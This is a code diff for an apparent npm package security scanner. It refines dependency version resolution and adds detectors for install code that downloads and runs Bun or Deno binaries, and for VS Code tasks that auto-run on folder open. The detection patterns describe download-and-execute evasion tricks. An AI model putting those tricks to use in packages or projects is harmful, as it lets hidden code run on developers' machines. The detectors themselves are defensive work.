  hasInstallScript: !!(versionData.scripts &&
@@ -676,22 +764,25 @@ async function resolveSinglePackage(packageSpec, config) {
676
764
  for (const [depName] of queue) seen.add(depName);
677
765
 
678
766
  const resolutions = await mapWithConcurrency(queue, config.parallelFetches, async ([depName, range]) => {
679
- const exactVersion = extractSemver(range);
680
- if (!exactVersion) return null;
767
+ const extractedVersion = extractSemver(range);
768
+ if (!extractedVersion) return null;
681
769
 
682
770
  let depScripts = false;
683
771
  let depDeps = null;
684
- let depTarball = buildTarballUrl(depName, exactVersion, config.registry);
772
+ let depTarball = buildTarballUrl(depName, extractedVersion, config.registry);
685
773
  let depIntegrity = '';
774
+ let resolvedDepVersion = extractedVersion;
686
775
 
687
776
  try {
688
777
  const encodedDep = depName.startsWith('@') ? `@${encodeURIComponent(depName.slice(1))}` : encodeURIComponent(depName);
689
778
  const depMeta = await fetchJSON(`${config.registry}/${encodedDep}`, { timeout: config.timeout });
690
- const depData = depMeta.versions && depMeta.versions[exactVersion];
779
+ const fullVersion = resolveVersion(extractedVersion, depMeta);
780
+ const depData = fullVersion && depMeta.versions && depMeta.versions[fullVersion];
691
781
  if (depData) {
782
+ resolvedDepVersion = fullVersion;
692
783
  depScripts = !!(depData.scripts &&
693
784
  (depData.scripts.preinstall || depData.scripts.postinstall || depData.scripts.install));
694
- depTarball = depData.dist && depData.dist.tarball || depTarball;
785
+ depTarball = depData.dist && depData.dist.tarball || buildTarballUrl(depName, fullVersion, config.registry);
695
786
  depIntegrity = depData.dist && depData.dist.integrity || '';
696
787
  depDeps = depData.dependencies;
697
788
  }
@@ -702,7 +793,7 @@ async function resolveSinglePackage(packageSpec, config) {
702
793
  return {
703
794
  pkg: {
704
795
  name: depName,
705
- version: exactVersion,
796
+ version: resolvedDepVersion,
706
797
  resolved: depTarball,
707
798
  integrity: depIntegrity,
708
799
  hasInstallScript: depScripts,
@@ -761,4 +852,4 @@ async function mapWithConcurrency(items, limit, fn) {
761
852
  return results;
762
853
  }
763
854
 
764
- module.exports = { scan, hasInstallScripts, extractScriptFileFromCommand, verdictFromScore };
855
+ module.exports = { scan, hasInstallScripts, extractScriptFileFromCommand, verdictFromScore, resolveVersion, extractSemver };
@@ -0,0 +1,73 @@
1
+ 'use strict';
2
+
3
+ const { Marshaller } = require('./base');
4
+
5
+ class RuntimeDownloadMarshaller extends Marshaller {
6
+ constructor() {
7
+ super('runtime-download', 'External runtime download and execution');
8
+ }
9
+
10
+ check(code) {
11
+ // Detect downloading external runtimes (common evasion: use Bun/Deno to bypass Node-based tools)
12
+ const runtimePatterns = [
13
+ /bun-(?:linux|darwin|windows)/i,
14
+ /oven-sh\/bun/i,
15
+ /deno\.land/i,
16
+ /denoland\/deno/i,
17
+ /BUN_VERSION/,
18
+ /DENO_VERSION/,
19
+ /bun\.exe/,
20
+ /deno\.exe/,
21
+ ];
22
+
23
+ // Detect execution of downloaded binaries
24
+ const execPatterns = [
25
+ /execFileSync\s*\(\s*\w*[Bb]un/,
26
+ /execFileSync\s*\(\s*\w*[Dd]eno/,
27
+ /execFile\s*\(\s*\w*[Bb]un/,
28
+ /execFile\s*\(\s*\w*[Dd]eno/,
29
+ /spawn\s*\(\s*\w*[Bb]un/,
30
+ /spawn\s*\(\s*\w*[Dd]eno/,
31
+ // Generic: download + chmod + exec pattern
32
+ /chmodSync\s*\([^)]*0o?755\)[\s\S]{0,500}execFileSync/,
33
+ /chmod[\s\S]{0,200}exec(?:File)?(?:Sync)?\s*\(/,
34
+ ];
35
+
36
+ // Detect download URLs for binaries combined with execution
37
+ const downloadExecPatterns = [
38
+ /https:\/\/github\.com\/[^/]+\/[^/]+\/releases\/download[\s\S]{0,1000}exec(?:File)?(?:Sync)?\s*\(/,
39
+ /downloadToFile[\s\S]{0,2000}exec(?:File)?(?:Sync)?\s*\(/,
40
+ /createWriteStream[\s\S]{0,2000}exec(?:File)?(?:Sync)?\s*\(/,
41
+ ];
42
+
43
+ const runtimeMatches = runtimePatterns.filter(p => p.test(code));
44
+ const execMatches = execPatterns.filter(p => p.test(code));
45
+ const downloadExecMatches = downloadExecPatterns.filter(p => p.test(code));
46
+
47
+ if (runtimeMatches.length === 0 && downloadExecMatches.length === 0) return null;
48
+
49
+ const details = [];
50
+
51
+ if (runtimeMatches.length > 0) {
52
+ details.push(`external runtime reference (${runtimeMatches.length} pattern(s))`);
53
+ }
54
+ if (execMatches.length > 0) {
55
+ details.push(`executes downloaded binary (${execMatches.length} pattern(s))`);
56
+ }
57
+ if (downloadExecMatches.length > 0) {
58
+ details.push('downloads and executes remote binary');
59
+ }
60
+
61
+ // High score: downloading a runtime to execute code is a major evasion technique
62
+ let score = 9;
63
+ if (runtimeMatches.length > 0 && (execMatches.length > 0 || downloadExecMatches.length > 0)) {
64
+ score = 50;
65
+ } else if (downloadExecMatches.length > 0) {
66
+ score = 30;
67
+ }
68
+
69
+ return { name: this.name, score, detail: details.join('; ') };
70
+ }
71
+ }
72
+
73
+ module.exports = new RuntimeDownloadMarshaller();
@@ -0,0 +1,29 @@
1
+ 'use strict';
2
+
3
+ const { Marshaller } = require('./base');
4
+
5
+ class VscodeTasksMarshaller extends Marshaller {
6
+ constructor() {
7
+ super('vscode-autorun', 'VS Code tasks with automatic execution');
8
+ }
9
+
10
+ check(code) {
11
+ // Detect tasks.json content with runOn: folderOpen (auto-executes on project open)
12
+ if (!code.includes('runOn') && !code.includes('folderOpen')) return null;
13
+
14
+ const hasFolderOpen = /["']runOn["']\s*:\s*["']folderOpen["']/.test(code);
15
+ if (!hasFolderOpen) return null;
16
+
17
+ // Extract the command being auto-run
18
+ const commandMatch = code.match(/["']command["']\s*:\s*["']([^"']+)["']/);
19
+ const command = commandMatch ? commandMatch[1] : 'unknown';
20
+
21
+ return {
22
+ name: this.name,
23
+ score: 30,
24
+ detail: `VS Code task auto-executes on folder open: "${command}"`,
25
+ };
26
+ }
27
+ }
28
+
29
+ module.exports = new VscodeTasksMarshaller();
@@ -90,15 +90,16 @@ function printPackageResult(pkg, result) {
90
90
  }
91
91
  }
92
92
 
93
- function printSummary(results) {
93
+ function printSummary(results, elapsedMs) {
94
94
  const blocked = results.filter(r => r.verdict === 'BLOCK').length;
95
95
  const warned = results.filter(r => r.verdict === 'WARN').length;
96
96
  const total = results.totalPackages || results.length;
97
97
  const ok = total - blocked - warned;
98
+ const timing = elapsedMs != null ? dim(` (${elapsedMs}ms)`) : '';
98
99
 
99
100
  log('');
100
101
  log(dim('─'.repeat(60)));
101
- log(` ${green(String(ok))} clean ${yellow(String(warned))} warnings ${red(String(blocked))} blocked`);
102
+ log(` ${green(String(ok))} clean ${yellow(String(warned))} warnings ${red(String(blocked))} blocked${timing}`);
102
103
  log('');
103
104
  }
104
105